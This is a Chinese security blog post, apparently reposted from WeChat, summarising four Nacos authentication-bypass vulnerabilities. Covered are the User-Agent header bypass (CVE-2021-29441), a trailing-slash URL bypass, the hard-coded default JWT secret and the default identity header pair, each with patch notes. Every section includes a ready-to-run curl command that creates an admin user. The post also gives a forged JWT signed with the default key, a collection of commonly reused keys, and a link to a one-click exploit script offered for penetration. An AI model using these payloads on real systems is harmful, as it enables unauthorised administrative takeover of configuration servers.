Nacos在攻防中的权限绕过总结 (附一键利用脚本)

admin 2023年5月18日10:46:30评论344 views字数 3635阅读12分7秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

宝子们现在只对常读和星标的公众号才展示大图推送,建议大家把李白你好设为星标”,否则可能就看不到了啦!

0x01 前言

本篇文章总结了一下用到的 Nacos 权限绕过漏洞,以及在高版本下可能存在的配置错误导致的权限绕过

Nacos默认情况存在 nacos/nacos 默认用户还有默认不开启鉴权,实际上所有接口都可以任意访问,这里就不赘述了

0x02 本地调试nacos

从github中下载源码 https://github.com/alibaba/nacos

IDEA打开,添加 JVM 参数,指定单机模式,以及设置MainClass:

-Dnacos.standalone=trueMainClass:com.alibaba.nacos.Nacos

指定console模块

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

中间可能出现报错,java: 程序包com.alibaba.nacos.consistency.entity 不存在 解决办法:mvn compile

参考:https://blog.csdn.net/ibigboy/article/details/119413998

如果是在高版本下(nacos > 2.2.0),开启鉴权后,这样是启动不起来的,根据提示,需要自行手动设置JWT令牌等配置

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

 

0x03 User-Agent 权限绕过(CVE-2021-29441)

漏洞影响版本:Nacos < 1.4.2

概述:这个是最早的漏洞,只要请求头中的 User-Agent 以 Nacos-Server 开头,就能通过权限校验

漏洞点:com.alibaba.nacos.core.auth.AuthFilter#doFilter

下面以nacos 1.4.0 代码举例

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

从请求中获取UA,然后,如果UA以Nacos-Server开头则会通过权限校验

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

POC

UA绕过添加用户

curl -XPOST 'http://192.168.1.196:8848/nacos/v1/auth/users?username=admin&password=1qazqweasd' -H 'User-Agent: Nacos-Server'

补丁修复

在1.4.1版本中,添加了

com.alibaba.nacos.auth.common.AuthConfigs#enableUserAgentAuthWhite

这个变量,用于控制是否开启UA认证的方式

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

不过可以看到,如果配置文件里没有写 nacos.core.auth.enable.userAgentAuthWhite 这个属性,那么enableUserAgentAuthWhite变量的值就会被默认赋值为 true

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

在1.4.2中配置文件中的值才会被设置为默认false,所以这个漏洞默认影响范围为 nacos < 1.4.2

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

 

0x04 Nacos URL 权限绕过

影响范围:Nacos < 1.4.2

概述:在url的末尾添加/即可权限绕过

threedr3am 师傅发现,具体参考 :写的较为详细

https://github.com/alibaba/nacos/issues/4701

POC

测试环境为 nacos 1.4.0

添加用户

curl -XPOST 'http://192.168.1.196:8848/nacos/v1/auth/users/?username=admin&password=1qazqweasd'

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

补丁修复

https://github.com/alibaba/nacos/commit/d568030823f7559c0ce220898c25292e3f35a1

0x05 JWT secret.key 硬编码权限绕过

影响版本:0.1.0 <= Nacos <= 2.2.0

概述:

用于签名的jwt的keynacos.core.auth.plugin.nacos.token.secret.key配置)

默认值为SecretKey012345678901234567890123456789012345678901234567890123456789

以 nacos 2.2.0 为例:secret.key 在如下位置硬编码

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

可以在 https://jwt.io 中生成一个有效签名的jwt,注意要声明算法为 HS512,过期时间戳可以调的大一些

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

生成jwt如下

eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

POC

实战中较为方便的做法是直接创建一个用户,然后登陆

curl -XPOST 'http://192.168.1.196:8848/nacos/v1/auth/users/?accessToken=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6IjI2MTYyMzkwMjIifQ.5aXePQdHbh9hKNoj_qqCC4x6PzbXmpy-vYQHhi0PdjVHyDJ40Ge6CVz6AWuV1UHa4H8-A-LXMOqQGSXjrsJ8HQ&username=admin&password=1qazqweasd'

 

补丁修复

新版中的nacos的nacos.core.auth.plugin.nacos.token.secret.key默认为空,需要手动设置才能正常启动

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

https://nacos.io/zh-cn/docs/v2/guide/user/auth.html

我意识到这可能会有一些问题,我网上搜了一圈,除了少数人推荐生成随机base64,还是有很多人的解决办法是使用官方的默认key,毕竟程序能跑起来就不错了...

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

我已将搜集到的secret.key对应生成jwt已集成至文章末尾的exp脚本中,提高一点实战的渗透胜率

0x06 identity key value 硬编码权限绕过

影响版本:Nacos <= 2.2.0

概述:当开启nacos权限认证(nacos.core.auth.enabled=true)后,

配置文件中的

nacos.core.auth.server.identity.keynacos.core.auth.server.identity.valu

参数分别存在默认值serverIdentity和security,当请求头携带该key以及value时,即可绕过权限认证。

以nacos 2.2.0为例:

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

漏洞代码仍然在 com.alibaba.nacos.core.auth.AuthFilter#doFilter

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

开启认证后(非默认),且没有开启UA白名单校验(默认),尝试从请求header中获取IdentityKey;

也就是配置文件中的nacos.core.auth.server.identity.key的值,然后再对比header中value的值和配置文件中nacos.core.auth.server.identity.value的值是否相同,如果相同则通过权限校验

POC

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=admin2&password=1qazqweasd' -H "serverIdentity: security"

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

 

补丁修复

和jwt key修复方式一样,在高版本中,如果开启了Nacos认证校验

(nacos.core.auth.enabled=true);

必须填写

nacos.core.auth.server.identity.key and nacos.core.auth.server.identity.value

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

才可以正常启动,否则报错

这里问题跟jwt硬编码问题一样,解决办法也一模一样,网上也会有解决办法,里面也有硬编码key value,可以提取出来例如官网中的example

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

百度解决方案搜索第一的key value为 test

Nacos在攻防中的权限绕过总结 (附一键利用脚本)

以上key、value均已集成至exp脚本

0x07 一键利用脚本

实战一般会添加一个用户,方便交互,所以把以上姿势都集成到一个脚本中
Nacos在攻防中的权限绕过总结 (附一键利用脚本)
 

0x08 下载

https://github.com/CyberRedTeam/CyberRedTeam/tree/main/Nacos

原文始发于微信公众号(李白你好):Nacos在攻防中的权限绕过总结 (附一键利用脚本)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月18日10:46:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos在攻防中的权限绕过总结 (附一键利用脚本)https://cn-sec.com/archives/1742624.html

发表评论

匿名网友 填写信息